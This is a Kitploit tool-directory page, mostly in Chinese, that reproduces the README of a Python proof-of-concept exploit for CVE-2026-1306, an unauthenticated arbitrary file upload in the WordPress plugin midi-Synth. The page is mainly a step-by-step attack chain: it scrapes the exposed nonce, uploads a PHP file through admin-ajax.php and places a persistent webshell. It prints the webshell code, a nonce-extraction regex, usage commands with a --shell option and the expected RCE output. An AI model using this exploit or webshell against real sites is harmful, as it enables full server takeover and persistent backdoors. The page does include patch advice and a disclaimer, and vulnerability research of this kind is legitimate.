Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-1306 — 针对 CVE-2026-1306 的 Python 概念验证:提取 midi-Synth nonce,通过 export AJAX 操作上传任意文件,并通过 PHP webshell 验证 RCE。 | Kitploit
工具/GitHubGitHub/securenet-dynamics/cve-2026-1306
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试远程访问木马
GitHubsecurenet-dynamics/cve-2026-1306

CVE-2026-1306

针对 CVE-2026-1306 的 Python 概念验证:提取 midi-Synth nonce,通过 export AJAX 操作上传任意文件,并通过 PHP webshell 验证 RCE。

查看仓库
23天前尚未审核
分享

CVE-2026-1306 — midi-Synth <= 1.1.0 未认证任意文件上传

CVE CVSS CWE Platform Language License

概念验证(PoC) 漏洞利用程序,针对 CVE-2026-1306——WordPress 插件 midi-Synth(版本 <= 1.1.0)中的一个严重未认证任意文件上传漏洞,可导致远程代码执行(RCE)。


📌 目录

  • 概述
  • 漏洞详情
  • 受影响版本
  • 根本原因
  • 攻击链
  • 要求
  • 安装
  • 用法
    • 漏洞检查
    • 自定义文件上传
    • Webshell 上传(RCE)
  • 示例
  • 工作原理
  • 检测与修复
  • 法律免责声明
  • 参考资料
  • 作者

🧭 概述

CVE-2026-1306 是 WordPress 插件 midi-Synth 中的一个严重(CVSS 9.8)无限制文件上传漏洞。该插件的 export AJAX 操作未能验证文件类型和扩展名,允许未认证攻击者将任意文件——包括 PHP 脚本——上传到可公开访问的目录。

唯一的前提条件是一个 nonce,该插件在前端 JavaScript 中暴露了它,使得任何未认证访问者都能轻易获取。

本仓库包含一个 Python 3 PoC,它可以:

  • 从目标前端提取所需的 nonce
  • 通过存在漏洞的端点上传任意文件(包括 PHP webshell)
  • 验证上传是否成功并提供执行 URL

⚠️ 这不是一个检测工具。成功利用将导致服务器完全沦陷。


🔍 漏洞详情

字段值
CVE IDCVE-2026-1306
漏洞类型未认证任意文件上传 → RCE
CWECWE-434: Unrestricted Upload of File with Dangerous Type
CVSS v3.1 评分9.8(严重)
CVSS 向量CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
攻击向量网络
所需权限无(未认证)
用户交互无
影响机密性:高 · 完整性:高 · 可用性:高
受影响组件admin-ajax.php 中的 export AJAX 操作
供应商midi-Synth(WordPress 插件)
修复版本2.0.0

CVSS 分解

  • AV:N — 可通过网络远程利用
  • AC:L — 无特殊条件;nonce 公开暴露
  • PR:N — 无需认证
  • UI:N — 无需用户交互(不同于钓鱼类漏洞)
  • S:U — 作用域不变
  • C:H/I:H/A:H — 机密性、完整性和可用性完全丧失

📦 受影响版本

插件受影响版本修复于
midi-Synth<= 1.1.02.0.0

⚠️ 请立即更新至 2.0.0 或更高版本。 该漏洞正被 WordPress 安全厂商积极追踪,并且已有公开的 Nuclei 模板可用。


🧬 根本原因

该插件的 export AJAX 处理器(midiSynth.php 和 midiSynthConvert.php)在处理文件上传时未验证:

  1. 文件扩展名 — 接受 .php 文件
  2. MIME 类型 — 接受任意内容类型
  3. 文件内容 — 不检查上传的数据

该处理程序使用 fileName 和 fileMidi(base64 编码的内容)这两个 POST 参数。由于上传目录(/wp-content/plugins/midi-synth/sound/)可通过 Web 访问,且插件目录中通常启用了 PHP 执行,因此上传的 PHP 文件会被服务器执行。

Nonce 问题

该插件要求 export 操作必须携带有效的 nonce。然而,该 nonce 在每次页面加载时都会嵌入到前端 JavaScript 中:

var midiSynth_nonce = "a1b2c3d4e5";

任何未认证的访客(包括攻击者)都可以通过一个简单的 GET 请求抓取该值。在此上下文中,该 nonce 不提供任何安全益处。


🎯 攻击链

这是一次直接的、未经认证的服务器入侵。无需受害者交互。

  Attacker                          Target WordPress Server
     │                                        │
     │ 1. GET /                               │
     │───────────────────────────────────────>│
     │                                        │
     │ 2. HTML response with nonce            │
     │<───────────────────────────────────────│
     │    midiSynth_nonce = "abc123"          │
     │                                        │
     │ 3. POST /wp-admin/admin-ajax.php       │
     │    action=export                       │
     │    nonce=abc123                        │
     │    fileName=shell_x7k2.php             │
     │    fileMidi=<base64 PHP code>          │
     │───────────────────────────────────────>│
     │                                        │
     │ 4. File written to:                    │
     │    /wp-content/plugins/                │
     │    midi-synth/sound/shell_x7k2.php     │
     │<───────────────────────────────────────│
     │                                        │
     │ 5. GET /wp-content/.../shell_x7k2.php?cmd=id
     │───────────────────────────────────────>│
     │                                        │
     │ 6. Command output (RCE)                │
     │<───────────────────────────────────────│
     │                                        │

结果: 攻击者在服务器上获得了一个持久化 webshell,并可以执行任意系统命令。


⚙️ 环境要求

  • Python 3.7+
  • requests 库
  • 能够访问目标 WordPress 实例的网络连接

安装依赖:

pip install requests

🛠 安装

git clone https://github.com/SecureNet-Dynamics/CVE-2026-1306.git
cd CVE-2026-1306

---

## 🚀 Usage

```bash
python3 CVE-2026-1306.py -t <TARGET_URL> [OPTIONS]

Arguments

FlagLong FormDescription
-t--targetRequired. Target WordPress base URL
--check—Upload a test .txt file to verify vulnerability
-f--filenameFilename to upload (with -c for content)
-c--contentContent for the uploaded file (default: test string)
--shell—Upload a PHP webshell for RCE
-k--insecureDisable SSL certificate verification

1. Vulnerability Check

Uploads a harmless .txt file and verifies it's accessible.

python3 CVE-2026-1306.py -t http://target.com --check

Expected output (vulnerable):

[+] 正在从 http://target.com 获取 nonce
[+] Nonce: a1b2c3d4e5
[+] 正在上传: test_x7k2m9.txt
[✓] 文件可访问: http://target.com/wp-content/plugins/midi-synth/sound/test_x7k2m9.txt
[+] 内容预览: CVE-2026-1306 test
[!] 目标存在 CVE-2026-1306 漏洞

2. Custom File Upload

Upload a specific file with custom content.

python3 CVE-2026-1306.py -t http://target.com -f proof.txt -c "authorized-testing"

3. Webshell Upload (RCE)

Uploads a minimal PHP webshell (<?php system($_GET['cmd']); ?>) and provides the execution URL.

python3 CVE-2026-1306.py -t http://target.com --shell

Expected output:

[+] 正在从 http://target.com 获取 nonce
[+] Nonce: a1b2c3d4e5
[+] 正在上传: shell_x7k2m9.php
[✓] Webshell 已上传: http://target.com/wp-content/plugins/midi-synth/sound/shell_x7k2m9.php
[+] 执行: http://target.com/wp-content/plugins/midi-synth/sound/shell_x7k2m9.php?cmd=whoami

[!] RCE 已就绪: http://target.com/wp-content/plugins/midi-synth/sound/shell_x7k2m9.php?cmd=id

⚠️ The --shell flag creates a persistent backdoor. Only use on systems you own and control, and remove the uploaded file immediately after testing.


🧪 Examples

# 基础漏洞检查
python3 CVE-2026-1306.py -t http://target.com --check

# 使用自签名证书检查
python3 CVE-2026-1306.py -t https://target.local -k --check

# 上传自定义文件
python3 CVE-2026-1306.py -t http://target.com -f test.php -c '<?php echo "pwned"; ?>'

# 上传 webshell 以实现 RCE
python3 CVE-2026-1306.py -t http://target.com --shell

🔬 How It Works

Step 1: Nonce Extraction

The script performs a GET request to the target's homepage and uses a regex to extract the nonce:

match = re.search(r'var midiSynth_nonce\s*=\s*"([a-z0-9]+)"', resp.text)

This works because the plugin embeds the nonce in frontend JavaScript on every page load, with no authentication or access control .

Step 2: File Upload

The script sends a POST to /wp-admin/admin-ajax.php with:

ParameterValue
actionexport
nonceExtracted nonce
fileNameAttacker-controlled filename (e.g., shell_abc123.php)
fileMidiBase64-encoded file content

The plugin decodes fileMidi and writes it to the sound/ subdirectory without validating the extension or content .

Step 3: Verification

The script performs a GET request to the expected file path:

/wp-content/plugins/midi-synth/sound/<filename>

If the response is 200 OK and contains the expected content, the upload is confirmed.

Why allow_redirects=False Isn't Needed Here

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    352
  • 4

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    291

探索所有工具

浏览我们的工具集合

查看所有工具 →